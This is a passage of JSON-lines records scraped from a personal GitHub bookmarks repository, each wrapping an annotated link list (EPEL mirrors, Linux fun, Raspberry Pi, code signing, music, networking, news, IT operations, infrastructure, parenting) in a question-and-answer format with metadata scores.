[Fedora](https://mirrors.fedoraproject.org/mirrorlist?repo=epel-6&arch=x86_64) - Fedora Mirrors list for EPEL-6 and arch x86_64 . see also [Fedora Mirror Manager](https://admin.fedoraproject.org/mirrormanager/)\n* [Fedora](https://dl.fedoraproject.org/pub/epel/7/x86_64/a/) - All EPEL-7 and arch x6-x64 packages\n* [Christian Stankowic](https://www.stankowic-development.net/?p=7900&lang=en) - CentOS 7 and the incorrect dist RPM macro\n* [Vultr](https://www.vultr.com/docs/use-dnf-to-manage-software-packages-on-centos-7) - Use DNF To Manage Software Packages On CentOS 7\n* [Server Fault](https://serverfault.com/questions/368602/how-do-i-update-a-centos-servers-time-from-an-authoritative-time-server) - How do I update a CentOS server's t", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 518, "answer_score": 10, "has_code": true, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678216"}
{"id": "gh_024971ec2bc6", "question": "How to: Linux for fun", "question_body": "About SansGuidon/bookmarks", "answer": "* [Justin Pot](http://www.makeuseof.com/tag/x-quirky-linux-commands-need-know-will-love/) - 9 Quirky Linux Commands You Need to Know (And Will Love)\n* [Silver Moon](http://www.binarytides.com/linux-fun-commands/) - 20 amusing Linux commands to have fun with the terminal\n* [GamingOnLinux](https://www.gamingonlinux.com/free-games/) - Linux & SteamOS gaming community\n* [mps-youtube](https://github.com/mps-youtube/mps-youtube) - Terminal based YouTube player and downloader\n* [John Goerzen](https://lifehacker.com/5974087/i-raised-my-kids-on-the-command-lineand-they-love-it) - (2013) I Raised My Kids On the Command Line...and They Love It\n* [Erlend Hamberg](https://hamberg.no/erlend/posts/2012-06-21-linux-git-history.html) - (2012) Linux' Git History is Beautiful\n* [Corey Quinn](https://www.youtube.com/watch?v=zN1u5xZFFR8) - (2016) [Video] Terrible Ideas in Git | Don't try this at home :)\n* [nvbn/thefuck](https://github.com/nvbn/thefuck) - Magnificent app which corrects your previous console command.\n* [Stephan Zielinski](http://www.stokely.com/lighter.side/sysadm.field.guide.html) - Know Your UNIX System Administrator: A Field Guide\n* [Terminus](http://luffah.xyz/bidules/Terminus/) - [FR] :fr: funny in browser role playing game to learn the basic of linux command line. NSFW. **Bonus** : [Source](https://github.com/luffah/terminus) + [Original version in english](http://www.mprat.org/Terminus/) with [Sources](https://github.com/mprat/terminus)\n* [MorganGeek](https://github.com/MorganGeek/bookmarks/blob/master/cheat/nsfw.md) - My NSFW cheatsheet", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678225"}
{"id": "gh_c432c516d286", "question": "How to: Raspberry Pi", "question_body": "About SansGuidon/bookmarks", "answer": "* [Ard Ray](http://blog.mxard.com/persistent-iptables-on-raspberry-pi-raspbian) - Persistent IPtables on Raspberry Pi (Raspbian)\n* [Raspberry Pi Stack Exchange](https://raspberrypi.stackexchange.com/questions/1247/what-should-be-done-to-secure-raspberry-pi) - What should be done to secure Raspberry Pi?\n* [Stefan Pröll](https://blog.stefanproell.at/2016/03/20/a-reasonable-secure-password-database-with-versioning-and-remote-access/) - (2016) A Reasonable Secure, Self-Hosted Password Database with Versioning and Remote Access", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678230"}
{"id": "gh_63363706a09b", "question": "How to: Code signing ###", "question_body": "About SansGuidon/bookmarks", "answer": "* [Laszlo Pusztai](http://www.laszlopusztai.net/2012/12/05/hdiutil-requires-sudo-for-readwrite/) - (2012) hdiutil Requires sudo for Read/Write\n* [Apple Developer Docs](https://developer.apple.com/library/content/documentation/Security/Conceptual/CodeSigningGuide/Introduction/Introduction.html#//apple_ref/doc/uid/TP40005929-CH1-SW1) - About Code Signing\n* :star: [**Apple Developer Docs**](https://developer.apple.com/library/content/technotes/tn2206/_index.html) - macOS Code Signing In Depth\n* [Morten Johan Sørvig](http://blog.qt.io/blog/2014/10/29/an-update-on-os-x-code-signing/) - (2014) An update on OS X Code Signing\n* [ouchangjian](http://www.ouchangjian.com/question/588b48cce4a1ca4b30edaff5) - difference between codesign and productsign ?\n* [Stack Overflow](https://stackoverflow.com/a/21564967/2309958) - what to sign, with which certificate ?\n* [Andy Brice](https://successfulsoftware.net/2012/08/30/how-to-sign-your-mac-os-x-app-for-gatekeeper/) - (2012) How to sign your Mac OS X App for Gatekeeper. **Bonus** : [things have changed, see this article for the update](https://successfulsoftware.net/2014/10/17/signing-qt-applications-for-mac-os-x-10-9-5-and-10-10/)", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678255"}
{"id": "gh_04201350152a", "question": "How to: Music :notes:", "question_body": "About SansGuidon/bookmarks", "answer": "* [Rate Your Music](https://rateyourmusic.com/) - one of the most complete music database for cataloging, tagging and reviewing your music collection\n* [TasteKid](https://tastedive.com/) - get recommendations for music but also tv shows, films, games, books...\n* [16Personalities](https://www.16personalities.com/articles/music-preferences-by-personality-type) - Music Preferences by Personality Type\n* [jamb0ss/awesome-ambient-noises](https://github.com/jamb0ss/awesome-ambient-noises) - A curated list of awesome ambient noises for listening while programming\n* [DΛTΛSSETTE](http://www.musicforprogramming.net/) - music for programming\n* [MorganGeek](https://gist.github.com/MorganGeek/66c9c8524e446550757d92c527c28c93) - work / programming playlists selection\n* [Tellement Nomade](http://www.tellementnomade.org/forum/) - [FR] :fr: forum for reviews, advices from audiophiles and discussions about music material (headphones, music players...)\n* [**Tunefind**](https://www.tunefind.com/browse/tv) - Music from all popular tv shows\n* [**Tunefind**](https://www.tunefind.com/browse/tv-movie) - Music from all popular tv shows and movies\n* [Ranker](http://www.ranker.com/list/songs-based-on-game-of-thrones/ranker-of-thrones) - Some of the Best Songs Based on Game of Thrones\n* [My 90's TV](http://www.my90stv.com/) - Go back to the 1990's via this nostalgic TV simulator and relive the original ads, music videos, movie trailers, shows and more!\n* [ProgrammableWeb](https://www.programmableweb.com/category/music/apis?category=19990) - Music related APIs\n* [MusicIP](http://www.spicefly.com/article.php?page=what-is-musicip) - MusicIP analyses and fingerprints your music library\n* [Metal Torrent Tracker](http://en.metal-tracker.com/) - a good metal music tracker :metal:\n* [RockBox](http://psychocydd.co.uk/) - metal music torrent tracker :metal:\n* [Tabletop Audio](https://tabletopaudio.com/) - Original, ambiances and music for your role playing games and stories\n* [foobar2000](http://www.foobar2000.org/components/by+date) - List of all plugins for foobar2000\n* [foobar2000](http://mobile.foobar2000.com/) - There exist a mobile version of foobar2000\n* [Tunefind](https://www.tunefind.com/show/the-walking-dead) - Walking Dead tv show soundtracks online\n* [LDDM (Les Démons du MIDI)](https://www.geekzone.fr/tag/les-demons-du-midi/) - [FR] :fr: [Podcast] every month, 2 hours of music from video games **Bonus** : [LDDM sur RadioKawa](http://www.radiokawa.com/jeux-video/les-demons-du-midi/?)\n* :star: [**khinsider**](https://downloads.khinsider.com/game-soundtracks) - good place to find video game music\n* [Banjo Guy Ollie](https://www.youtube.com/channel/UC5-umfrfqPvDvWCYHJGYtpA) - [Videos] videos of Olivier Longuet (aka Ollie LongZ / BanjoGuyOllie), a youtuber making awesome video game music covers. **Bonus** : his other youtube channel [FR] :fr: [Grand Theft Z'Audio](https://www.youtube.com/channel/UCAORviTS6Ua_a0eo4XGDPPg) if you like funny surreal dubbing of games cinematic, mainly inspired by [Message à caractère informatif (https://www.youtube.com/watch?v=ozJmcB-mVgw)\n* :star: [**YouTube to MP3 converter**](https://ytmp3.cc/)\n* [Metalcast](http://www.metalcastshow.com/) - :metal: Ultimate metal show\n* [Steve Losh](http://stevelosh.com/blog/2009/04/why-people-dont-like-metal/) - :metal: (2009) Why People Don’t Like Metal\n* [Steve Losh](http://stevelosh.com/blog/2010/11/keep-calm-and-carry-on/) - (2010) Keep Calm and Carry On | listen to music, damn it!\n* [Gnoosic](http://www.gnoosic.com) - Based on your choices, Gnod predicts you might like the music of\n* [Graspop Metal Meeting](https://www.graspop.be/en/history/) - Archives of Graspop Line up through time :metal:\n* [Spotify Library Exporter](https://spotify-library-exporter.herokuapp.com/) - a tool to download your Spotify library as a CSV to be used elsewhere. Can also be useful to migrate from Spotify to Apple Music, backup your library to use elsewhere, keep a record offline. It doesn't matter! 🎉\n* [PlaylistConverter](http://www.playlist-converter.net/) - Convert your Playlist from multiple Music Services and File Format. Works for Spotify too\n* [Map of Metal](https://mapofmetal.com/) - :metal: An interactive map of Metal history and the influential bands that helped shaped the genres we know today.\n* [midomi](https://www.midomi.com/) - Use your voice or your mic to identify music\n* [myNoise](https://mynoise.net/noiseMachines.php) - Background Noises & Interactive Soundscapes\n* [A Soft Murmur](https://asoftmurmur.com/) - Ambient sounds to wash away distraction.\n* [Noisli](https://www.noisli.com/) - Improve focus and boost your productivity | Mix different sounds and create your perfect environment.\n* [musicForProgramming](https://musicforprogramming.net/) - Music possessing these qualities can often provide just the right amount of interest to occupy the parts of your brain that would otherwise be left free to wander and lead to distraction during your work.\n* [Marc Allard](https://www", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678291"}
{"id": "gh_7a0ed0ee3d20", "question": "How to: Networking", "question_body": "About SansGuidon/bookmarks", "answer": "* [Homenet Howto](https://www.homenethowto.com/) - Interesting guide to how computer networks work\n* [Naresh Kumar](https://theprofessionalspoint.blogspot.be/2013/10/10-basic-linux-networking-and.html) - (2013) 10 Basic Linux Networking and Monitoring Commands You Should Know\n* [Naresh Kumar](https://theprofessionalspoint.blogspot.be/2013/10/linux-server-monitoring-and-networking.html) - (2013) Linux Server Monitoring and Networking Commands for Linux Server Administrators - Part 2\n* [Silver Moon](http://www.binarytides.com/linux-ss-command/) - 10 examples of Linux ss command to monitor network connections\n* [Silver Moon](http://www.binarytides.com/linux-commands-monitor-network/) - 18 commands to monitor network bandwidth on Linux server\n* [Daniel Miessler](https://danielmiessler.com/blog/security-how-to-monitor-your-network-connections/) - Security: How To Monitor Your Network Connections\n* :star: [**Kickball/awesome-selfhosted**](https://github.com/Kickball/awesome-selfhosted) - list of Free Software network services and web applications which can be hosted locally\n* [/r/netsec](https://www.reddit.com/r/netsec/) - network security on reddit\n* [Google](https://www.youtube.com/watch?v=d90Ov6QM1jE) - [Video] How Google Protects Its Corporate Security Perimeter without Firewalls / Very interesting insight into Google's BeyondCorp Zero Trust Network.\n* [MoonPoint](http://support.moonpoint.com/network/proxy/putty/) - Using PuTTY to set up a SOCKS Proxy Connection\n* [MoonPoint](http://support.moonpoint.com/network/proxy/ie10-socks-proxy.php) - Configuring IE 10 to use an SSH SOCKS Proxy Server\n* [Thomas Graf](https://www.slideshare.net/ThomasGraf5/dockercon-2017-cilium-network-and-application-security-with-bpf-and-xdp) - DockerCon 2017 - Cilium - Network and Application Security with BPF and XDP\n* [Sreenivas Makam](https://www.slideshare.net/SreenivasMakam/docker-networking-common-issues-and-troubleshooting-techniques) - Docker Networking - Common Issues and Troubleshooting Techniques\n* [VirtualBox issues tracker](https://www.virtualbox.org/ticket/14374) - Network adapters not working after host returns from sleep Win 7 host Linux Mint 17.2 guest\n* [WhatsMyIP](http://www.whatsmyip.org/port-scanner/) - Port scanners & other networking tools\n* [Vivek Gite](https://www.cyberciti.biz/networking/nmap-command-examples-tutorials/) - (2018) Top 32 Nmap Command Examples For Sys/Network Admins\n* [LZone](https://lzone.de/cheat-sheet/Linux-Networking) - Linux networking cheatsheet\n* [AboutMyX](http://www.aboutmyip.com/AboutMyXApp/SubnetCalculator.jsp?ipAddress=192.168.16.0&cidr=24) - Subnet mask calculator\n* [Vivek Gite](https://www.cyberciti.biz/faq/linux-setup-default-gateway-with-route-command/) - (2015) Linux setup default gateway with route command\n* [Vivek Gite](https://www.cyberciti.biz/faq/linux-route-add/) - (2013) Linux route Add Command Examples\n* [Vivek Gite](https://www.cyberciti.biz/faq/linux-bastion-host/) - (2009) Configure Linux As Bastion Host\n* [Hurricane Electric BGP Toolkit](https://bgp.he.net) - This website is an Internet analysis site for the whole Internet. useful tool to collect ip, addresses, etc\n* [BGPView](https://bgpview.io/) - allows you to debug and investigate information about IP addresses, ASN, IXs, BGP, ISPs, Prefixes and Domain names.\n* [Robtex](https://www.robtex.com/) - is used for various kinds of research of IP numbers, Domain names, etc. Examples : Reverse DNS Lookup, Whois, AS macros.\n* [RIPE Database](https://apps.db.ripe.net/db-web-ui/#/query?bflag&searchtext=) - Webupdates / database query\n* [CIDR/Netmask Lookup Tool](https://dnschecker.org/netmask-cidr.php) -  get information about a CIDR range including the IP addresses and host addresses contained in it.\n* [Vivek Gite](https://www.cyberciti.biz/faq/linux-list-network-interfaces-names-command/) - (2018) Linux Show / Display Available Network Interfaces\n* [CICR Tool](https://www.ipaddressguide.com/cidr) - Calculator for IP Range To CIDR / CIDR to IP Range\n* [Sal Ferrarello](https://salferrarello.com/chrome-clear-redirect-cache/) - (2016) Chrome Clear Redirect Cache\n* [The Goose-bearing bash shell](https://goosebearingbashshell.github.io/2016/11/12/how-to-get-your-ip-address-from-the-command-line.html) - (2016) How to get your IP address from the command line. TLDR;\ntype `curl ident.me` to know your public ip\n* [Joyent Support](https://help.joyent.com/hc/en-us/articles/226687427-Watching-active-IP-connections-Linux) - (2016) Watching active IP connections - Linux\n  * Incoming connections : `watch -d -n1 lsof -i`\n* [Super User](https://superuser.com/a/848966/453117) and [Server Fault](https://serverfault.com/a/353134/298315)\n  * Trace all connections on specific port to `/var/log/messages` (syslog) using iptables : `sudo iptables -I INPUT -p tcp --dport 443 --syn -j LOG --log-prefix \"HTTPS SYN: \"`\n  * Trace all connections on specific port to `/var/log/messages` (syslog) using iptables : `sudo iptables -I INPUT -p tcp --match mu", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678307"}
{"id": "gh_a48dd4c95f4a", "question": "How to: News :exclamation:", "question_body": "About SansGuidon/bookmarks", "answer": "* :unicorn: [**Lobsters**](https://lobste.rs/) - Lobsters is a technology-focused community centered around link aggregation and discussion\n* :unicorn: [**HCKR News**](https://hckrnews.com/) - unofficial alternative hacker news interface, fixing some Hacker News UI [Issues](https://hckrnews.com/about.html)\n* :unicorn: [**sebsauvage**](https://sebsauvage.net/links/) - :fr: [FR] Liens en vrac de sebsauvage\n* :fire: [**DEVURLS**](https://devurls.com/) - a developer news aggregator.\n* :star: [**Y Combinator**](https://news.ycombinator.com/newest) - Hacker News : social news aggregator focusing on computer science and entrepreneurship. Related : [Additional news lists](https://news.ycombinator.com/lists)\n* :star: [**Product Hunt**](https://www.producthunt.com/) - discover new products (apps, websites, services, ...)\n* :star: [**Le Gorafi**](http://www.legorafi.fr/) - [FR] :fr: news satire\n* :star: [**daily.dev**](https://daily.dev/) - The Homepage Every Developer Deserves | daily.dev is the fastest growing online community for developers to stay updated on the best developer news. \n* [Y Combinator](https://news.ycombinator.com/show) - Hacker news Show : where people share their work. **Related** : :star: [**Newest Show HN**](https://news.ycombinator.com/shownew) and [A List of Hacker News's Undocumented Features and Behaviors](https://github.com/minimaxir/hacker-news-undocumented)\n* [TechCrunch](https://techcrunch.com/) - latest technology news and information on startups\n* [Summaread](http://www.summaread.com/) - Millions of articles summarized daily\n* [Popurls](http://popurls.com/) - Mother of news aggregators - aggregate news from most popular internet front pages\n* [Alltop](https://alltop.com/new/) - News aggregator, similar to Popurls. Aggregates news by topic also\n* [Twoogle](https://twoogle.info/?q=) - Search tweets in realtime\n* [AcquiredBy](https://acquiredby.co/) - Definitive list of tech acquisitions\n* [Trendsmap](https://www.trendsmap.com/) - shows you the latest trends from Twitter, for anywhere in the world.\n* [Daniel Miessler](https://danielmiessler.com/blog/) - a very interesting blog about InfoSec, technology and humans\n* [Le blog d'un odieux connard](https://unodieuxconnard.com/) - [FR] :fr: caustic news / news satire\n* [the morning paper](https://blog.acolyer.org/) - an interesting/influential/important paper from the world of CS every weekday morning, as selected by Adrian Colyer\n* [OSNews](http://www.osnews.com/) - explore the future of computing and about technology, OS, hardware, development, and other cool news\n* [Electronic Frontier Foundation](https://www.eff.org/) - EFF is working to protect our fundamental rights regardless of technology, to educate the press, policymakers and the general public about civil liberties issues related to technology, and to act as a defender of those liberties.\n* [Jeffrey Ventrella](https://ventrellathing.wordpress.com/) - Nature -> Brain -> Technology | Things and Stuff\n* [Les Numériques](https://www.lesnumeriques.com/) - :fr: [FR] Test, actu, comparatif high-tech/électroménager\n* [Lindsay Kolowich](https://blog.hubspot.com/marketing/surf-internet-websites) - (2017) The 20 Best Websites for Wasting Time on the Internet in 2018 | NSFW\n* [reddit](https://www.reddit.com/controversial/) - most controversial links\n* [Korben](https://korben.info/) - :fr: [FR] Upgrade your mind\n* [Matthieu Lesne aka coreight](https://coreight.com/) - :fr: [FR] Le blog d'infos et astuces web; high tech\n* [Post Apocalyptic Media](https://www.postapocalypticmedia.com/) - All the latest end-of-the-world trends\n* [TECHURLS](https://techurls.com/) - a technology news aggregator.\n* [SCIURLS](https://sciurls.com/) - a science news aggregator.\n* [donnemartin/haxor-news](https://github.com/donnemartin/haxor-news) - Browse Hacker News like a haxor: A Hacker News command line interface (CLI).\n* [michael-lazar/rtv](https://github.com/michael-lazar/rtv) - Browse Reddit from your terminal\n* [DesGeeksetdeslettres](https://desgeeksetdeslettres.com/) - :fr: [FR] fournit des outils et des connaissances pour protéger votre vie privée contre la surveillance massive mondiale. Ce blog anime depuis 2009 une communauté florissante d'individus soucieux de la protection de la vie privée et s'informe au jour le jour des nouvelles avancées en matière de protection de vos données en ligne.\n* [Timeless Hacker News](https://thn.rakhim.org/) - refresh for 30 random good posts\n* [DevOps Newsletters](https://devopsnewsletters.com/) - a one stop shop for the best DevOps news content from around the world.\n* [Seth's Blog](https://seths.blog) - Seth Godin's Blog on marketing, tribes and respect.\n* [Mike Crittenden](https://critter.blog) - Blog on engineering / self improvement topics. \n* [Nicolas Delsaux aka Riduidel](https://nicolas-delsaux.hd.free.fr/Shaarli/) - :fr: [FR] Shaarli de Riduidel | discovered via [**sebsauvage**](https://sebsauvage.net/links/)\n* [Newsletterest](https://newsletterest.com/) - Simple new", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678338"}
{"id": "gh_c5de2b0375dc", "question": "How to: Operations / IT OPS", "question_body": "About SansGuidon/bookmarks", "answer": "See also [Monitoring](#monitoring)\n> News\n* [TechBeacon](https://techbeacon.com/25-it-ops-pros-experts-follow-twitter) - 25 IT Ops pros and experts to follow on Twitter\n* [TechBeacon](https://techbeacon.com/it-ops) - IT-OPS articles & resources\n* [O'Reilly Media](https://www.oreilly.com/topics/operations) - The latest ideas, articles about operations.\n* [Red Hat Blog](https://www.redhat.com/en/blog) - Official Red Hat Blog\n* [Code as Craft](https://codeascraft.com/category/operations/) - Posts in category operations\n* [Linda Rosencrance](https://techbeacon.com/best-cloud-it-ops-conferences-2018) - (2018) The best cloud and IT Ops conferences of 2018\n* [sysadvent](https://sysadvent.blogspot.be/) - One article for each day of December, ending on the 25th article | great articles about systems administration topics written by fellow sysadmins.\n* [SysAdvent Calendar](https://www.redpill-linpro.com/sysadvent/) - Pre Christmas Tips and Tricks for Sysadmins\n* [IT Landscape for sysadmins](https://sysadmin.it-landscape.info/) - Open source projects aggregator for system administrators.\n\n> Learn\n* [Michael Buckbee](https://blog.varonis.com/definitive-guide-to-dns-ttl-settings/) - Definitive Guide to DNS TTL Settings\n* [Vivek Gite](https://www.cyberciti.biz/faq/howto-use-dig-to-find-dns-time-to-live-ttl-values/) - Linux / Unix: Dig Command Find Out TTL (Time to Live) Value For DNS Records\n* [DigitalOcean](https://www.digitalocean.com/community/questions/what-do-you-do-with-your-first-five-minutes-on-a-new-server) - What do you do with your first five minutes on a new server?\n* [Sylvain Kalache](https://www.linux.com/blog/first-5-commands-when-i-connect-linux-server) - First 5 Commands When I Connect on a Linux Server\n* [Bryan Kennedy](https://plusbryan.com/my-first-5-minutes-on-a-server-or-essential-security-for-linux-servers) - (2013) My First 5 Minutes On A Server; Or, Essential Security for Linux Servers\n* [Netflix](https://medium.com/netflix-techblog/linux-performance-analysis-in-60-000-milliseconds-accc10403c55) - Linux Performance Analysis in 60,000 Milliseconds\n* [alicegoldfuss/oncall-handbook](https://github.com/alicegoldfuss/oncall-handbook) - Tips and tricks for getting through on-call\n* [Charity Majors aka mipsytipsy](https://honeycomb.io/blog/2017/04/lies-my-parents-told-me-about-logs/) - (2017) Lies My Parents Told Me (About Logs)\n* [Aurore Malherbes](https://www.theodo.fr/blog/2017/05/prevent-command-with-a-specific-option-to-be-run-on-your-server/) - (2017) Prevent command with a specific option to be run on your server\n* [Pat Cable](https://blog.threatstack.com/balancing-security-and-your-on-call-rotation-using-deputize) - Balancing Security and Your On-Call Rotation Using Deputize\n* [Brendan D. Gregg](https://twitter.com/tgraf__/status/855100288251961346/photo/1) - Awesome 60s perf analysis cheatsheet : Host Perf Analysis in 60s\n* [Jon Prall](http://jprall.typepad.com/blog/2010/10/85-operational-rules.html) - (2007) 85 Operations Rules to Live By\n* [John Allspaw](http://www.kitchensoap.com/2007/10/11/knowing-when-you-can-fail-is-mandatory/) - (2007) Knowing when you can fail is mandatory.\n* [LZone](http://lzone.de/) - Various Cheat Sheets about sysadmin, development, it ops, services management and virtualization\n* [LZone](http://lzone.de/cheat-sheet/IT-Ops) - IT Ops Cheat Sheet\n* [David Mytton](https://blog.serverdensity.com/humanops-server-density/) - How we do HumanOps at Server Density\n* [Matthew Skelton](https://blog.softwareoperability.com/2013/04/08/lets-talk-about-operational-features-not-non-functional-requirements/) - (2013) Let’s Talk About Operational Features, not Non-Functional Requirements\n* [David Mytton](https://blog.serverdensity.com/how-and-why-we-use-devops-checklists/) - How and why we use DevOps checklists\n* [kahun/awesome-sysadmin](https://github.com/kahun/awesome-sysadmin) - A curated list of amazingly awesome open source sysadmin resources\n* :star: [**n1trux/awesome-sysadmin**](https://github.com/n1trux/awesome-sysadmin) - (fork of [kahun/awesome-sysadmin](https://github.com/kahun/awesome-sysadmin))\n* [Chandan Kumar](https://geekflare.com/cheat-sheet-system-admin/) - linux sysadmin cheatsheets\n* [AskF5 Support](https://support.f5.com/csp/article/K12213214) - Overview of colored status icons in the Configuration utility\n* [Deb Shinder](http://techgenix.com/fall-of-all-powerful-admin/) - The rise and fall of the all-powerful admin\n* [Rundeck](http://rundeck.org/) - Turn your operations procedures into self-service jobs.\n* [Damon Edwards](http://rundeck.org/news/2014/01/08/Jenkins-is-for-development-Rundeck-is-for-operations.html) - (2014) Jenkins is for Development. Rundeck is for Operations.\n* [Sysdig](https://www.sysdig.org/) - troubleshooting and visibility tool for linux, windows and mac osx with native support for containers technologies\n* [aelsabbahy/goss](https://github.com/aelsabbahy/goss#installation) - goss : Quick and Easy server testing/validation\n* [Stack Exchange](", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678413"}
{"id": "gh_49e5b9592824", "question": "How to: Infrastructure", "question_body": "About SansGuidon/bookmarks", "answer": "See also [AWS](#aws) and [Terraform](#terraform)\n* [HashiCorp](https://www.hashicorp.com/resources) - Resource Library | Learn how to provision, secure , connect , and run any infrastructure for any application\n* [Dan Tehranian](https://dantehranian.wordpress.com/2014/08/11/building-a-better-dashboard-for-virtual-infrastructure/) - (2014) Building a Better Dashboard for Virtual Infrastructure\n* [Marvin Pinto](https://disjoint.ca/writing/2015/11/26/a-framework-for-deployment-of-immutable-infrastructure/) - (2015) A Framework for Deployment of Immutable Infrastructure\n* [Pedro Artino](https://velenux.wordpress.com/2016/11/20/test-driven-infrastructure-with-goss/) - (2016) Test Driven Infrastructure with Goss\n* [Eran Chetzroni](https://blog.algolia.com/reducing-infrastructure-cost/) - (2017) Tips for reducing the cost of your infrastructure\n* [Denny Cherry](http://itknowledgeexchange.techtarget.com/sql-server/another-cloud-outage-awsdown-this-time-another-group-of-companies-show-they-dont-have-dr/) - (2017) Another Cloud Outage (#awsdown this time) Another Group of Companies Show They Don’t Have DR\n* [Subbu Allamaraju](https://m.subbu.org/dont-build-private-clouds-9a54b3d30c8b) - (2016) Don’t Build Private Clouds\n* [Michal Charemza](https://charemza.name/blog/posts/devops/aws/non-atomic-deployments/) - (2017) Non atomic deployments | Cron-free deferred delete of obsolete static resources | The best infrastructure is the one that doesn't exist\n* [Jonathan Block](https://medium.com/@blockjon/scaling-jenkins-bad7a4ea046f) - (2018) Scaling Jenkins | good tips for AWS, infrastructure design...\n* [Wolfram Hempel](https://arcentry.com/blog/an-introduction-to-medieval-cities-and-cloud-security/) - (2018) An introduction to medieval cities and cloud security\n* [Rodion Chachura](https://medium.com/@geekrodion/system-testing-localstack-terraforms-37b31ba99310) - (2018) System testing: Localstack + Terraform\n* [Carlos Nunez](https://www.contino.io/insights/top-3-terraform-testing-strategies-for-ultra-reliable-infrastructure-as-code) - (2017) Top 3 Terraform Testing Strategies for Ultra-Reliable Infrastructure-as-Code\n* [Rosemary Wang](https://medium.com/@joatmon08/test-driven-development-techniques-for-infrastructure-a73bd1ab273b) - (2019) Test-Driven Development for Infrastructure\n* [Nic Jackson](https://www.hashicorp.com/blog/hashicorp-terraform-modules-as-building-blocks-for) - (2018) HashiCorp Terraform: Modules as Building Blocks for Infrastructure\n* [k1LoW/awspec](https://github.com/k1LoW/awspec) - RSpec tests for your AWS resources.\n* [Jeff Geerling](https://www.jeffgeerling.com/blog/2017/dockrun-oneshot-quick-local-environments) - (2017) dockrun oneshot — quick local environments for testing infrastructure\n* [localstack/localstack](https://github.com/localstack/localstack) - 💻 A fully functional local AWS cloud stack. Develop and test your cloud & Serverless apps offline\n* [localstack/awscli-local](https://github.com/localstack/awscli-local) - 💲 \"awslocal\" - Thin wrapper around the \"aws\" command line interface for use with LocalStack\n* :star: [**Terraform Best Practices**](https://www.terraform-best-practices.com/) - [Book] free book with most of best-practices and recommendations for Terraform users. **Bonus** : [Source code examples](https://github.com/antonbabenko/terraform-best-practices/tree/master/examples)\n* [Terragrunt](https://terragrunt.gruntwork.io/) - Terragrunt is a thin wrapper that provides extra tools for keeping your configurations DRY, working with multiple Terraform modules, and managing remote state. | DRY and maintainable Terraform code.\n* [antonbabenko/modules.tf-lambda](https://github.com/antonbabenko/modules.tf-lambda) - Infrastructure as code generator - from visual diagrams created with [Cloudcraft.co](https://cloudcraft.co/app) to Terraform\n* [Yevgeniy Brikman](https://blog.gruntwork.io/5-lessons-learned-from-writing-over-300-000-lines-of-infrastructure-code-36ba7fadeac1) - (2018) 5 Lessons Learned From Writing Over 300,000 Lines of Infrastructure Code\n* [Gruntwork Docs](https://gruntwork.io/guides/foundations/how-to-configure-production-grade-aws-account-structure/#what-is-an-aws-account-structure) - How to configure a production-grade AWS account structure using Gruntwork AWS Landing Zone | Guide for configuring a production-grade AWS account structure, including how to manage multiple environments, users, permissions, and audit logging. We’ll also discuss how to implement a Landing Zone solution that lets you quickly spin up new AWS accounts that all implement a security baseline that enforces your company’s policies.\n* [Rosemary Wang](https://speakerdeck.com/joatmon08/test-driven-development-tdd-for-infrastructure) - (2019) [Slides] Test-Driven Development (TDD) for Infrastructure\n* [Fernanda Martins](https://www.slideshare.net/FernandaMartins154/the-hitchhikers-guide-to-terraform-your-infrastructure) - (2020) [Slides] The hitchhiker's guide to terraform your infrastructure\n* [Sam Sa", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678440"}
{"id": "gh_bc65b82edbfe", "question": "How to: Parenting :baby:", "question_body": "About SansGuidon/bookmarks", "answer": "> News\n* [Les-Supers-Parents.com](https://www.les-supers-parents.com/) - 🇫🇷 [FR] L’objectif de ce blog est de partager avec vous nos découvertes et notre progression en termes de “Parentalité Bienveillante et Respectueuse”. Vous y trouverez sous forme  une synthèse structurée des toutes les informations que nous dénichons un peu partout… et leur mise en application.\n* [Minimi](https://www.minimi.be/fr/tout-petits/) - 🇧🇪 🇫🇷 [BE] [FR] Articles / news dédiées aux bambins\n\n> Misc\n* [MathPickle](http://mathpickle.com/games/) - Board Games and Pencil & Paper Games | #1 job for parents: establish a culture of board gaming in the home. **Example paper game** : * [A little bit of Aggression](http://mathpickle.com/project/a-little-bit-of-aggression/) - one of the few essential games for the elementary school classroom.\n* [Daniel Miessler](https://danielmiessler.com/blog/is-it-wrong-to-have-children/) - Is It Wrong to Have Children?\n* [David Walsh](https://davidwalsh.name/being-a-dev-dad) - (2016) Being a Dev Dad\n* [Amala Espace 